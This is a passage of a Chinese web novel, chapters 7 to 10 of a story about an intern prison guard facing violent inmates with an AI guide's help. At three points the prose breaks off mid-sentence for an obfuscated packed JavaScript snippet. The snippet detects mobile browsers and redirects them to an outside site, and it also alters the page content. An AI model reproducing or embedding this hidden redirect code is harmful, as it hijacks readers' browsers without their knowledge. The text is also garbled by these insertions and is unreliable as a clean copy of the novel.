《实习狱警只是开朗》 7. 同工同酬,同罪同罚 蔺言被杰森拦着,周围几名狱警不悦的皱起了眉,其中一人甩了甩别在腰侧的电棍,警告道:“安分点,程北。” “长官,我可什么都没做呢。”程北耸了耸肩,锐利的眸子隔空落在蔺言脸上,缓缓扯开一个笑容。 男人狭长的双眼眯起后更加显得细窄,唇角的肌肉弧度并不流畅,像是刻意拼贴上去的人像画,漆黑的瞳孔中透露出令人骨髓生寒的恶意。 曾有人称光是看到程北的笑容都会连续做上几天的噩梦,生怕哪天就再也醒不来了。 但是,他们离得有点远了。 在蔺言的视角里,他只能看到程北正在冲着他笑,更多的面部情绪他也解读不出来。 隔着杰森举起的手臂,蔺言压了压帽檐,也笑了起来,澄澈的湖面漾开了涟漪。 程北眸色一暗,捏着叉子的手指微微用力,笑容更加扩大了几分,连几名狱警都感到不寒而栗。 小样儿,这还吓不到你? 【蔺言:他人好像还挺友善的。】 【夏娃:实习结束后我会记得给你申请防诈课程的,一共十二节,上完给你算十分。】 【蔺言:啊?】 天上掉馅饼了,能吃吗? 夏娃给的,应该能吃,但是夏娃让他上防诈课,现在会不是在试探他? 不吃又舍不得这十分。 蔺言纠结的神情落在程北眼里就成了畏惧,他得意的对着同伴挑了挑眉,“我就知道牧闻中看不中用。” 同伴没说话,埋头塞了两口生菜,程北也好,牧闻也好,他都得罪不起。 “前辈,”蔺言想了想,轻轻拉了拉杰森的袖子问:“我能和他说几句话吗?” 杰森下意识想要拒绝,一抬眼对上蔺言的眼,呼之欲出的话就卡在了嗓子眼。 他怎么忘了,这可是刚来第一天就收拾了里德和牧闻,还想着和霍华德过两招的狠角色。 同另外几名狱警交换了个眼神,杰森放下手,退至一边,嘴上却还是提醒了一句:“小心点,这些狗崽子最喜欢欺负新人。” 蔺言乖巧的点点头:“前辈,你要是饿了可以先去吃早饭,不用等我。” 杰森失笑,其余几名狱警也站在原地没走。 程北的危险系数在整个A区犯人里都是数一数二的高,他闲不住开始挑事,他们哪还有心情吃饭。 见蔺言走近,程北眼尾危险的眯起,轻声道:“长官,我叫程北,现在记不住没关系,以后就记住了。” 话音未落,男人高高举起金属叉子,对准少年脆弱的脖颈狠狠的扎了下去。 蔺言受了惊似的,双眸瞪的溜圆,站在原地一动不动。 程北的眼神愈发阴冷,手背冒起青筋,迫不及待的想要到看少年濒死的模样。 “轰!” 长桌倒塌,餐盘噼里啪啦的砸在地上,无辜受牵连的同伴看着自己没吃多少就遗憾落地的生菜,呆滞的张了张嘴。 不是,哥们儿你倒的也太快了吧? 他看看蔺言,又看看地上的程北,仔细思考了一瞬后,搬着椅子坐到了隔壁桌。 惹不起我还躲不起吗? 程北抽着冷气倒在一片碎裂的残骸之中,不可置信的仰起脸,脚踝处的麻痹感尚且没有消散,他连站都站不起来。 就在刚才短短几息的时间里,一道滚烫的痛意从脚踝沿着骨骼上行,在他的胃里凿下一颗钉子,最后隐没进胸肺。 怎么可能? 他的劳动任务已经完成了,电击脚铐应该处于休眠状态才对。 【蔺言:谢谢你,好心的夏娃。】 【夏娃:你要是在实习期出事,学校不好压新闻。】 我们的交流一定要以这样的方式收场吗? 望向害他不高兴的罪魁祸首,蔺言捡起地上的叉子,看着尖端的沙拉酱,微微拧起了眉:“你太不礼貌了。” 弄脏他的衣服怎么办? “哈?”程北单手支在地面上撑起上半身,看蔺言的眼神愈发古怪。 他差点捅穿他的脖子,蔺言居然只在乎他有没有礼貌? 罪犯要是能学会讲礼貌,这个世界就没那么多罪犯了。 不过,这倒是个好机会。 “我很抱歉,长官,”想了想,程北重新笑起来:“您能拉我一把吗?我的腿麻了。” 蔺言静静的站在原地,没有回答。 【夏娃:正好,用他练习一下你学过的警告话术。】 猝不及防的现场考核就这么开始了,蔺言回忆了一下台词,紧张的轻轻吸了口气。 他不动,程北也没动,撑在地面的手缓缓收紧,这一次,他会在蔺言反应不过来的情况下再次袭击,就算他有电击按钮也没用。 来吧。 程北看着少年清俊的面容,伸在半空中的手举得更高。 只要蔺言握住他的手,程北有自信在瞬间废掉他一半的行动力。 少年微微抿起唇,细密的睫毛在眼下垂落一片淡淡的阴影,似乎在犹豫。 等着等着,男人有些焦躁起来。 程北的余光瞄到了不远处难掩惊愕之色的狱警们,眉头突然一跳。 他们在惊讶什么? 控制电击的按钮不是他们给蔺言的吗? 程北心中微沉,危机意识陡然升腾起来,他下意识想要收回手,蔺言却在这一瞬回握住了。 指尖自下而上包住男人的手,少年的眼尾弯起弧度,蓝眸中仿佛流出微凉的海水裹着指骨。 程北感觉到一股拉力,不重,麻痹的腿动一下都觉得陌生,但他依然咬牙站了起来。 与此同时,程北的脖子被另一个冰凉的物体抵住。 不用看,他都能描摹出那玩意儿的模样。 是一柄叉子。 “虽然你刚刚道歉了,但我还是不高兴。”少年这么说着,握着叉子的手微微用力。 跳动的脉搏被压缩了生存空间,只能无声的发出哀鸣。 程北动了动舌头,在口腔中竭力挣扎着吐出两个字:“抱歉…” 除了这个,他说不出任何话。 藏在胸肺的残余电流似乎窥见了男人的弱点,又一次抬起了头。 程北想起了被异兽分食的犯人、海面上溢散开的腥气、起伏带血的白色泡沫。 于是,男人又说:“长官,我很抱歉。” 蔺言瞧着突然悔改的男人,一时间有些装不下去,手里的叉子都快被他捏热乎了。 【蔺言:我还没开始说台词呢,他怎么就示弱了?】 【夏娃:我会考虑把你刚刚说的话编进教材的。】 这多不好意思啊。 就算是馅饼我也要吃! 蔺言耳根一红,窃喜的弯起唇,看着程北的目光也友善了许多。 踮起脚拍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14406653|153481||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了拍男人的头,蔺言告诫道:“要记得一直这么有礼貌。” 感受到颈侧放松的力道,程北也松了口气。 喉结滚了滚,男人压下干呕的欲望,将沿着食管向上爬的心脏重新咽了回去。 刚点了点头,只听少年又说:“你是负责捕鱼的吧?下午小心点,海边不安全。” 突如其来的关心把男人弄得一愣一愣的,他攥紧了掌心,摸到了湿润的触感。 这又是什么手段? 打一巴掌给一个红枣? 他张了张嘴,声音干涩:“yes,sir。” 待蔺言回到大部队,食堂里依然处于一片古怪的寂静当中。 二楼的狱警们目睹了全过程,只觉得平日里看惯了的餐具突然烫手起来。 门口,克里斯曼轻佻的弯起唇,轻声呢喃道:“原来长这样啊。” “怪不得牧闻一开始以为他好欺负。” “老大,我们要进去吗?” 一旁的小弟抓了抓脸,克里斯曼就算了,要是程北知道自己看到了他狼狈不堪的模样,恐怕没好果子吃。 “不着急。” 眉骨处的伤疤随着眉毛一并挑起,克里斯曼扭着脖子动了动,发出“嘎啦”一声脆响。 “等他今晚来A区巡逻,我们好好认识一下。” ** 矿区 牧闻坐在硌人的石块上,慢悠悠的打了个哈欠,“怎么吃个早饭这么慢,他们是去戴夫家吃豌豆了吗?” 勤勤恳恳干活的犯人立刻叫了起来:“别提豌豆,我已经连续吃了一周素菜了,看到绿色就想吐。” 牧闻斜了他一眼:“我们长官心善,要不你问问他愿不愿意分你点肉吃?” “这就我们上了,牧闻,你说话注意点,”从洞里伸出半个脑袋的A区犯人笑嘻嘻的说:“小心克里斯曼让你滚去和明秋阳一桌。” “得了吧,”牧闻翻了个白眼:“明秋阳的桌子我哪挤的进去。” 被关在S区的那位可看不上他们。 正聊着,远处传来脚步声,犯人们瞬间噤声,来得却不是蔺言和杰森。 克里斯曼倚着墙低笑了声:“你们干活还挺卖力的。” 牧闻站起身,蹬了两下发麻的腿问:“老大,你怎么来了?” 克里斯曼勾着唇,视线扫过灰头土脸的犯人们,道:“程北在餐厅惹祸了。” 牧闻怔了怔,眼睛“唰”的一下亮了起来,幸灾乐祸的问:“他真去招惹蔺言了?” “谁输了?两败俱伤?程北又被关小黑屋了?” 克里斯曼看着激动不已的牧闻,嗤笑了声:“放心,比不上你。” “蔺言没有给程北任何惩罚。” “啊?凭什么啊!”牧闻出离的愤怒了,明秋阳获得了去医务室的待遇,程北逃脱了惩罚,合着倒霉的只有他一个。 这礼貌吗? 克里斯曼撇了牧闻一眼,“他丢了大脸,你只在审讯室丢脸,总的来说你比较赚。” 就算克里斯曼这么说,牧闻还是愤愤不平。 强烈要求同罪同罚! 看着无时无刻不在耍宝的牧闻,克里斯曼隐晦的翻了个白眼,要不是这家伙真的有两下,克里斯曼都懒得理他。 不过,金发男人心下微嘲,以程北最后那副模样,惩不惩罚都没两样。 拔了牙的狗,废物一个。 8. 只需略微出手就可以吃到枪子 “锵!” 一锤子砸下去,迸溅出灰色的碎末,男人用手肘擦了擦汗,余光瞄到了蔺言背在身后的双手。 棉质的白手套一尘不染,严严实实的遮盖住每一寸肌肤,黑色的袖口和白色的布料相接,在那隐秘的缝隙中,藏着少年匀称的腕骨。 杰森站在他的右侧,低声说着什么,蔺言忽得笑起来,尖尖的小虎牙压住水红色的下唇,少年亲昵的用两根手指捏住了杰森的衣袖,偏头凑到杰森耳边。 男人看到了蔺言一张一合的唇,但他不知道他们在说什么。 牧闻恰在此时走了过来,轻轻一脚踹在男人的小腿上,低声说:“别看了,眼珠子都快滚出来了。” “手还没好就伸那么长,想再断一条吗?”男人捏着锤子颠了颠,反手对准牧闻挥了过去。 牧闻不闪不躲,笑着一脚踹在他的心口上,“冷静点,挖你的破石头去。” 这边的动静吸引了蔺言和杰森的注意,少年收了笑,拧着眉走了过来:“怎么打起来了?” “长官,没什么大事,”牧闻侧过身,挡在蔺言和男人中间,笑着说:“他干活不认真,我提醒一下。” 杰森是老油条了,直接一棍子抽在牧闻腿上:“你什么德行我不知道吗?” 牧闻当即期期艾艾的叫起来,好一副受了委屈的模样,蔺言拦住杰森即将甩出来的第二棍,弯下腰捏了捏牧闻的膝盖。 “我艹!” 牧闻直接一个弹跳后撤撞踢到了身后的男人,两人“彭”的一声摔在一起,徒留弯着腰的蔺言茫然的眨了眨眼。 少年无措的看向杰森,双手高高举起放在脸侧,一副自首的模样:“前辈,我没用力啊。” 杰森失笑:“你怕什么,我又不会把你铐进去。” 蔺言这才安心的放下手,他蹲下身,轻轻戳了一下牧闻的小腿,再次得到了男人惊愕的瞪视。 “很疼吗?” 蔺言抬眼看看他,食指蜻蜓点水般落在牧闻的裤子上。 牧闻的瞳孔依然放大着,脸上浮起难以置信的神色,脑袋发胀,怔怔的看着他。 干什么干什么干什么! 这么温柔,蔺言不会是想把他宰了吧? 枪呢?枪在哪?牧闻像是一具突然苏醒的人偶,眼珠胡乱转着,四处寻找可能落下的陷阱。 “手也不好腿也不好,”蔺言一手拖着下巴,苦恼的说:“要不然,你还是去医务室一趟吧。” “啊?哦,”牧闻反应过来,眼中瞬间迸射出惊喜的光:“长官,我这就去!” 笑容刚刚在这张脸上逗留了两秒,就被少年下一句话打得四分五裂。 他说:“我陪你一起。” “…谢谢您。” 牧闻说完就想给自己一巴掌,上扬的嘴角耷拉了下去。 有了白天的经验,下午犯人们都没有随意进入海中,医务室空荡荡的,只有值班机械人在清点药品数量。 牧闻躺在病床上,时不时瞟一眼蔺言,少年跟在机械人后面,手里拿着两瓶除了颜色外包装一模一样的药剂。 左手抬起又放下,右手重复了一遍,如此磨蹭了许久,蔺言将两瓶药都拿了过来。 “医生说过段时间会有人送新药过来,现在能用的只有这些。” 牧闻是药店常客,扫了一眼就认出是什么药,提醒道:“这两个不能混着喝,会腹痛,严重甚至有可能休克。” “你知道好多啊,”蔺言感叹了声:“这些我在学校里都没学过。” 牧闻皮笑肉不笑的扯了扯唇,你现在学到的已经够多了。 “那你看看你的伤用哪个比较好,”蔺言说完推了推牧闻的肩:“你进去一点,我也要坐。” 牧闻动都不动一下,像个瘫痪多年在床的病人,拉长了声音说:“长官,我是伤患。” “那我还是长官呢。”少年嘟囔着,没再和牧闻抢床。 他将两瓶药剂塞进牧闻手里,转身将门外的小板凳抱了进来,坐到牧闻床边催促道:“快喝吧,喝完我还要回去监督他们挖矿。” “长官,您一个实习生这么敬业干嘛?”牧闻不怀好意的说:“刚来监狱,您很多地方还没去过吧?” “我可以带您逛逛。” 话音刚落,就见蔺言表情古怪的扫了眼他的腿,毫不委婉的拒绝道::“不了吧,我怕你倒在路上,我拖不动你。” 牧闻表情僵了僵,营造好的氛围毁于一旦。 他刚刚只是被蔺言吓到了,不是真的残了! 绝望的躺回床上,牧闻和怀里的两瓶药大眼瞪小眼,片刻后,男人说:“长官,我要喝蓝色的那瓶。” 蔺言依言拿了起来,瓶身上刻着一行透明的小字:过敏体质请勿随意服用。 捏着瓶身的手指转了转,光线穿过蓝色的漩涡,射进少年的眼底,如出一辙的液体在眼眶中缓缓流动。 戳了戳牧闻的脸,蔺言问:“要我喂你吗?瘫痪先生?” “我就没见过你这么记仇的狱警,”牧闻往右侧挪了挪,“让你坐行了吧?” 蔺言得意的哼哼了两声,“恭喜你,残疾人先生,你出我的黑名单了。” “没事。” 牧闻接过蔺言手里的药剂,用牙齿咬开盖子,“咕嘟咕嘟”一口气全灌了下去。 “哈”的呼出一口气,牧闻手腕一转将瓶子扔进了远处的垃圾桶,笑眯眯的说:“过两天就二进宫了。” 蔺言的脑袋跟着抛物线一起转了过去,接着双瞳亮晶晶的扭回头问:“这是怎么练出来的?” 拜托,不用自己走到垃圾桶旁边真的很酷! 牧闻摸了摸鼻尖,嘴里胡说道:“熟能生巧。” 如果你知道经常扔燃烧-弹你也会觉得我命大。 蔺言皱了皱鼻子,“明秋阳也这么说。” “他干什么了?”说起明秋阳牧闻就来劲,侧身让出了大半张床,“长官,您坐,咱俩唠唠。” 【夏娃:别理他,你的首要目标是完成实习任务。】 【蔺言:虽然我决定今天讨厌你但是我觉得你说的对。】 站起身,蔺言正准备离开,门外传来了一阵骚动,两名狱警架着个全身是血的犯人走了进来。 见到蔺言,其中一人匆忙打了个招呼,两人联手将犯人抬到另一张床上后,才有空缓口气。 “前辈,他怎么了?”蔺言垂眸扫了眼气若游丝的犯人,有些担忧的问。 一人擦了擦身上蹭到的血,回道:“海边出事了,本来只是青舌海兽出没,不离开浅滩就没事,谁知道还有个神经病拿血引鱼,把沙蛟勾来了。” 同为异兽,沙蛟的体型远离青舌海兽小得多,但攻击性极强,智商也不高,不管不顾吞就完事了。 狱警摘下帽子甩了甩,“哝,这人是刚从沙蛟肚子里剖出来的。” 牧闻伸长了脖子,眯着眼看了好一会儿,悄悄拉了拉蔺言的手套。 见少年投来疑惑的视线,牧闻低声道:“他是A区的,也是克里斯曼的走狗。” 蔺言点点头,了然道:“你的同事。” “我可不是克里斯曼的走狗,”牧闻连忙撇清关系:“我就是一混饭吃的,哪边给饭我就去哪边。” 蔺言长长的“啊”了一声,“百家狗?” 牧闻松开手,重新瘫了回去,脑袋一偏面向墙壁,留给蔺言一个写着哀怨的后脑勺。 “走吧,实习生,”用湿巾给自己擦了个大概,前辈对着蔺言招了招手,“我们送你回矿区。” 下午两点至五点是没有安排劳动任务的犯人们的放风时间,蔺言一个人很容易遇到集群的犯人。 蔺言最后看了眼牧闻,转身小跑到前辈面前:“谢谢前辈。” 说完又像只忙碌的小蜜蜂跑回了床边。 坐在牧闻给他留的半边床上,蔺言眉眼弯弯:“我在这里看着他,防止他乱跑。” 前辈对视一眼,没再多说。 两人走后,牧闻翻了个身正对着蔺言,完好的手垫在脸侧当枕头,“长官,你这么好心啊?” 一只手缓缓地落在牧闻的脸上,轻轻盖住他的双眼,光线消失的瞬间,牧闻听到了少年羽毛般轻柔的嗓音:“受伤了就好好休息吧。” 棉质布料渡来蔺言掌心的温度,牧闻僵在床上,双腿怎么放都觉得不对劲,只能轻手轻脚的向下滑了滑,将自己的下巴也埋进被子里。 我靠! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14406654|153481||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我也得到杰森的待遇了! 天光渐暗,蔺言一手刷终端,一手轻轻的拨弄牧闻因为多次烫染而干巴的头发。 别说,手感挺特别的。 【温温纶纶:上班适应吗?我听说桑德拉环境不太好。】 【希望你幸福:食堂不好吃。】 【希望你幸福:小狮子落泪.jpg】 【温温纶纶:想吃什么?我寄给你。】 蔺言惊喜的欢呼了一声。 【希望你幸福:想吃蜂蜜蛋糕。】 【希望你幸福:蛋糕蛋糕蛋糕。】 【希望你幸福:蜂蜜蛋糕最棒!】 【温温纶纶:好。】 蔺言抱着终端乐得看不见眼睛,夏娃沉默了一会儿,将录像上传至备忘录。 【夏娃:上班第一天,你已经在医务室摸了一下午的鱼。】 【蔺言:我们实习生的事能叫摸鱼吗?我这是在照顾同事!】 要不是夏娃说不和犯人相处好就要扣人际分,蔺言早就兢兢业业的干活儿去了,怎么会在医务室玩了四个小时的终端? 夏娃搬起石头砸了自己的脚,沉默了半晌,默默在后台给蔺言加了一分。 备注:不要骗傻子。 六点,杰森来了。 蔺言将长长的白色帘子一拉,牧闻就这么被隔了进去。 杰森已经听说了海边发生的事,看了眼被机械人用纱布捆成木乃伊的犯人,咋了咋舌,“怪不得执法队派人来接,居然伤得这么重。” 蔺言闻言好奇的抬起头,他只在接收里德的见过执法队一面,中央星倒是有很多执法队成员早晚巡逻,但他们都伪装成了普通市民的模样,蔺言也认不出来。 “执法队要把他带走吗?” “嗯,伤势过重,放在桑德拉就是等死。” 杰森说着摇了摇头,道:“已经两年没有犯人靠这种方式出狱了。” 以往常有犯人为了越狱故意将自己弄伤,严安因此将伤势门槛越调越高,到最后,越狱还是死亡已经成为了世纪难题。 行差踏错,死路一条。 门外的几名执法队成员鱼贯而入,对着杰森点点头,将陷入昏迷的犯人抬进了治疗舱,推着治疗舱下方的滚轮走了出去。 身着白色制服的男人缓步走了进来,单肩披风被撕成了破布,冷色调的双眸不悦的眯起。 他拿着帕子擦了擦手臂上的灰抱怨道:“早知道克里斯曼今天出来放风,我就不来了。” 疯狗一样见人就咬。 “斯科特长官。”杰森垂眸叫了一声,右手将蔺言推到了身前,介绍道:“这是我们新来的实习生,叫蔺言。” “嗯。”斯科特眼皮抬了抬,轻飘飘的扫了眼,捏着帕子的手一顿。 男人站直了身体,目露思索:“我们是不是见过?” 蔺言也记得他,点点头说:“是见过。” “您之前来我们学校食堂装的打饭大叔,抓了我两个学长,临走前还嘱咐下属把今天的饭打完,”说到这,蔺言眼神闪了闪,“您递交的辞职申请是我批的。” 斯科特“哈”了一声,手指隔空点了点蔺言:“就是你给我扣了半个月的工资?” 蔺言双手背在身后,脚一跨挪到了杰森的身后,小声辩解道:“您总共就干了六天。” 给学校省钱是学生会的份内之事,蔺言的做法没有任何问题,斯科特轻笑了声,没再跟蔺言计较。 “我先走了,杰森,你什么时候遇到克里斯曼替我带句话。” 杰森回过神,道:“您说,我保证带到。” “刺啦”一声扯下已经残破不堪的披风扔进垃圾桶,斯科特坏笑着说:“告诉他,不喜欢蹲牢子可以去绞刑架上荡两天。”。 杰森瞳孔骤缩,但话已经出口,收都收不回来,只能苦哈哈的说:“您慢走。” 当晚,A区牢房 “砰——!” 火光一闪而逝,子弹飞了出去。 克里斯曼看着贯穿掌心的弹孔,英俊的五官显得狰狞起来,湿润的触感一直蔓延到指尖,又热又腥。 “长官。” 男人挑起唇,笑了起来,“你的枪里还有几颗子弹?” 9. 认识的第一分钟零九秒,我想杀了你 A区和B区是全然不同的两个生态圈。 B区犯人欺软怕硬,对内窝里横对外怂包,只要狱警稍微硬气点,不露怯,就足以应付他们。 B区也没有名义上的头狼,各自抱团,一盘散沙。 相较而言,A区就麻烦多了。 在克里斯曼入狱前,A区的头领虽然也不是个好东西,但也没到棘手的地步。 克里斯曼一来,所有狱警直接工作量翻倍。 法泽星是联邦共计十六颗一等星中数一数二资源丰富的存在,当地的黑-手党也十分猖獗。 霍华德家族在法泽星扎根多年,和星长、执政官、审判长等大人物都牵扯颇深,理论上来说,克里斯曼是不可能被判有罪的。 但架不住霍华德家族族长管不住裤子,随着年岁的增长,兄弟内斗愈发激烈起来,克里斯曼就是斗争中的输家。 身为次子的克里斯曼自小就表现出了领袖气质,拥有大批拥护者,而这些人也跟着他一起进了桑德拉监狱,A区曾经的老大被他赶下了宝座,自此,A区彻底大变样。 絮絮叨叨的介绍完,杰森仰着脸给自己滴了一滴眼药水,酸的直吸气。 他闭着眼缓了缓,道:“总之,一会儿尽可能不要和他们走得太近,这帮人咬住肉了死都不松口。” 蔺言若有所思的点点头,视线移向了床上的牧闻。 这么好的牙口天天吃菜叶子是不是有点太浪费了? 喝了药剂还睡了一下午的牧闻高高举起了手,辩解道:“长官,明鉴啊,我和他们不是一伙儿的!” “天无二日,人无二主,我牧闻心中只有一个太阳!” “少贫嘴,”杰森招了招手说:“下来,我带你回A区。” 牧闻嘿嘿一笑,从床上跳了下来,空掉的药剂瓶被他顺手塞进了兜里。 A区牢房 灰头土脸的几个男人聚在一起,抱怨牧闻赶上了好时候,他们在干活,他在医务室躲懒。 明秋阳无声的坐在一旁,听到医务室的时候才有了点反应:“牧闻去医务室了?” 明秋阳一开口,犯人们瞬间安静了下来,随时一眼,先前说话的男人回道:“他对着新长官卖惨,被带去休息了。” “新长官?” 这次说话的是程北。 男人危险的眯起眸子:“牧闻昨天才吃了教训,今天又凑上去干什么?” 要不是牧闻昨晚把蔺言描述的那么无害,他也不会今天失心疯了上赶着吃苦头。 和电棍不同,电击脚铐的电流强度几乎是前者的三倍,程北到现在都觉得肋下隐隐作痛。 “贱呗,”犯人充满恶意的说:“你们没见到他那副样,狗尾巴摇得可欢了。” “说什么屁话,牧闻对谁都摇尾巴。”另一人嗤笑道。 投机主义者才不管给饭吃的是人类还是异兽,只要能让他得到好处,牧闻就是长得最高的那根墙头草。 牧闻的作风在狱警之间也很吃得开,犯人中难免有人看不惯他。 听着他们你一言我一语的贬低牧闻,明秋阳思索了几秒,问道:“你们为什么不当他的面说?” 你说为什么? 几名犯人齐齐看了过来,明秋阳头上的纱布还没拆呢。 “因为他们废物啊,”程北目露嘲色,“今晚要是又有一个被砸破头的就有意思了。” 躺在床上的金发男人被吵得心烦,缓缓睁开眼问:“还没来巡逻吗?” 是个人都听得出克里斯曼语气中的不耐,喋喋不休的犯人们安分的沉默了下去。 明秋阳不怵他,淡声道:“没。” 天花板上的时间已经跳到了九点,牧闻还没回来,狱警的影子也看不到,克里斯曼无聊的几乎要睡过去。 “长官怎么这么不守时啊…”克里斯曼屈指敲了敲床板,视线扫过神色紧张的众人,忽的咧开唇。 “先来准备一份见面礼吧。” 高大的金发男人站了起来,灯光投下长长的影子,像一根刺骨的长针般贯穿了地面。 被盯上的犯人后背一寒,他皱起八字眉,苦着脸笑起来,眼神满是恳求:“老大…您、我对您忠心耿耿啊!” 可惜。 克里斯曼不需要忠心。 不是蔺言迟到了,而是外面出事了。 关在小黑屋里的S区犯人生命体征极速下降,收到消息的狱警们放下手头的事,第一时间赶往现场。 杰森和蔺言距离最近,比其他人都快一步,牧闻听说是S区犯人出事,略微有些踌躇。 他对S区的犯人有天然的滤镜,停在距离门口三米左右的位置,没有再向前。 杰森摘下手套,将食指按在了指纹锁上,几秒后,红点变成了绿点,只听“嘀”的一声,金属门缓缓向两边移动。 小黑屋顾名思义,就是一间空荡的、漆黑的屋子,可见度极低,长期待在这里足以将任何人类逼疯。 “里面好黑啊。”蔺言后退了一步,嗅到了一丝血腥味。 杰森抬手挡在蔺言身前:“你别进去,我去就行了。” 见他一副如临大敌的模样,蔺言也不禁紧张了起来,里面究竟发生什么了? “前辈,您小心点。” 杰森点点头,左脚刚踏进门,一道身影猎豹般扑了出来,狠狠的撞在他的身上。 “彭——呲!” 杰森的后背重重的砸在地上,细碎的石子刮蹭的生疼,气流卷起地面的尘土,他不得不眯起眼。 穿着囚服的男人死死的掐住杰森的脖子,布满红血丝的双眼中弥漫着阴戾。 “艹、”杰森面色涨红,十指死死的掐进男人的手背,他费力的蠕动着唇,“放开…” 犯人的状态也不比他好到哪去,偏过头“哇”的吐出一口血,手中的力道却没有丝毫减弱。 杰森的五官因为巨大的痛苦而扭曲,眸中隐隐浮现出绝望之色。 心跳如擂鼓,“砰砰”作响,杰森几乎以为自己耳鸣了,因为他切实的听到了“砰”声。 扼住脖颈的双手逐渐失去了力气,杰森如梦初醒般盯着漆黑的天空,月亮像天空淤血的眼睛,透出一种怪异的紫红色。 摸了摸滴落在眼皮上的血,杰森无力的曲起膝盖,将浑身是血的男人顶开。 男人躺在地上,腥热的血从喉口逆流,一股铁锈般的咸苦入了腹,喘息变得痛苦,比起疼痛感,更让人难以忍受的是血液流失的恐惧和快速的失温。 他动了动眼珠,看到了同样身着制服的年轻人,右手举着枪,一缕烟在半空中散去,露出少年半垂的眸。 蔺言的长相其实是带有一定的锐利感,甚至是攻击性的,但当那双蓝眸被月光吻上水色后,就瞬间变得软了下来。 他干净的不像是该出现在桑德拉的人。 生面孔。 犯人想。 开枪真疼。 他又想。 【夏娃:为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14406655|153481||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了防止你第一次对活物开枪,心理承受不了,我开启马赛克模式了。】 蔺言走近低头一看,好家伙,地上直接躺了一个人形马赛克,别说弹孔了,蔺言连哪边是他的头都分不出来。 好怪。 【蔺言:要不算了,有点精神污染。】 作为学生的引导者,夏娃依然很担心蔺言的心理状况,相比撤掉马赛克,它进行了一部分修改。 紧接着,蔺言就看到了一个全身打满了圣光的不明物体。 等一下,这不是更怪了吗? “你会开枪?”沙哑的声音从背后传来。 一回头,蔺言看到了摇摇晃晃爬起来的杰森,拨开头发,露出了满是圣光的脸。 救命。 【蔺言:为什么他也要打?】 【夏娃:我设置的程序是该中枪犯人的全部身体组织打上马赛克,杰森的脸上有他的血,被误伤了。】 【夏娃:调整好了。】 终于再次看到杰森的脸,蔺言松了口气,他暂时还做不到对着一团圣光喊前辈。 牧闻远远的看着这一幕,蔺言开枪时的全过程都被他收尽了眼底,经验丰富的犯人很快得出了两个结论。 一,蔺言不是第一次开枪,他的手很稳,命中的位置也不致命,恐怕在学校里接受过系统学习。 二,蔺言一点都不害怕,从杰森受到袭击到子弹射出去,他的表情几乎没有明显的变化。 几年没出去,中央星的年轻人已经变成这样了吗? 不等他想明白,只见蔺言将杰森扶起来,对着他招了招手:“前辈!你来了!” 啊? 牧闻扭过头,看到了姗姗来迟的闵盛以及一帮全副武装的狱警。 牧闻立刻退到一边,狱警们没有分给他任何眼神,围着对S区的犯人进行简单的包扎止血。 “他自己重击了腹腔,内脏都移位了,怪不得显示生命体征下降,”一名狱警啐了一声,“为了出来下手真狠。” 男人被抬走时,那双淬了毒的眼落在蔺言的身上,他动了动唇,两个气音消失在满嘴的血污里。 等我。 蔺言勾起了他的杀-戮欲。 杰森也被送往医务室,今晚将由闵盛和蔺言一起去A区巡逻。 凄厉的惨叫是克里斯曼打算送给见面礼,而在他们正式认识之前,蔺言先递上了名片。 天花板上传来了冷硬的机械音,在每一所牢房中播放。 【S区犯人崔堂袭警,被狱警蔺言制服,待伤势痊愈后将除以重罚,希望全体犯人警以为戒,重复一遍,S区犯人崔堂袭警,被狱警蔺言制服,待伤势痊愈后将除以重罚,希望全体犯人警以为戒。】 短短两天,A区死了一个杜良,明秋阳和牧闻双双负伤,程北当众丢脸,一人被青舌海兽分食,还有个从沙蛟肚子里死里逃生的幸运儿,B区那帮人口口相传桑德拉招了个死神,克里斯曼对此嗤之以鼻。 而现在,他也愣住了。 犯人们放开了被克里斯曼盯上的男人,窃窃私语起来:“S区?哪个S区?” “还能有哪个S区……整个桑德拉就那一个S区。” “我怎么听不懂呢?崔堂被制服了?” 克里斯曼面色阴沉沉的听着,他见过崔堂,蔺言那小身板,居然能把崔堂打伤吗? 正讨论着,大门传来低低的响动,一道缝隙从中间裂开,泄出白光。 蔺言来了。 10. 痛一次,还是痛十一次? 所有人都缄默不言,瞧着那一抹白光逐渐透出人影,脚步声很轻,在金属地面上敲击。 蔺言的靴底踩到了崔堂的血,留下一个十分浅淡的红印。 “晚上好。”少年抬手在半空中晃了两下,视线扫过明秋阳和程北,最后落在了克里斯曼身上。 【蔺言:他好像不喜欢我。】 【夏娃:你要和同事打好关系吗?】 【蔺言:不了吧,我怕他咬我。】 杰森说的话蔺言听了,但只听了一半。 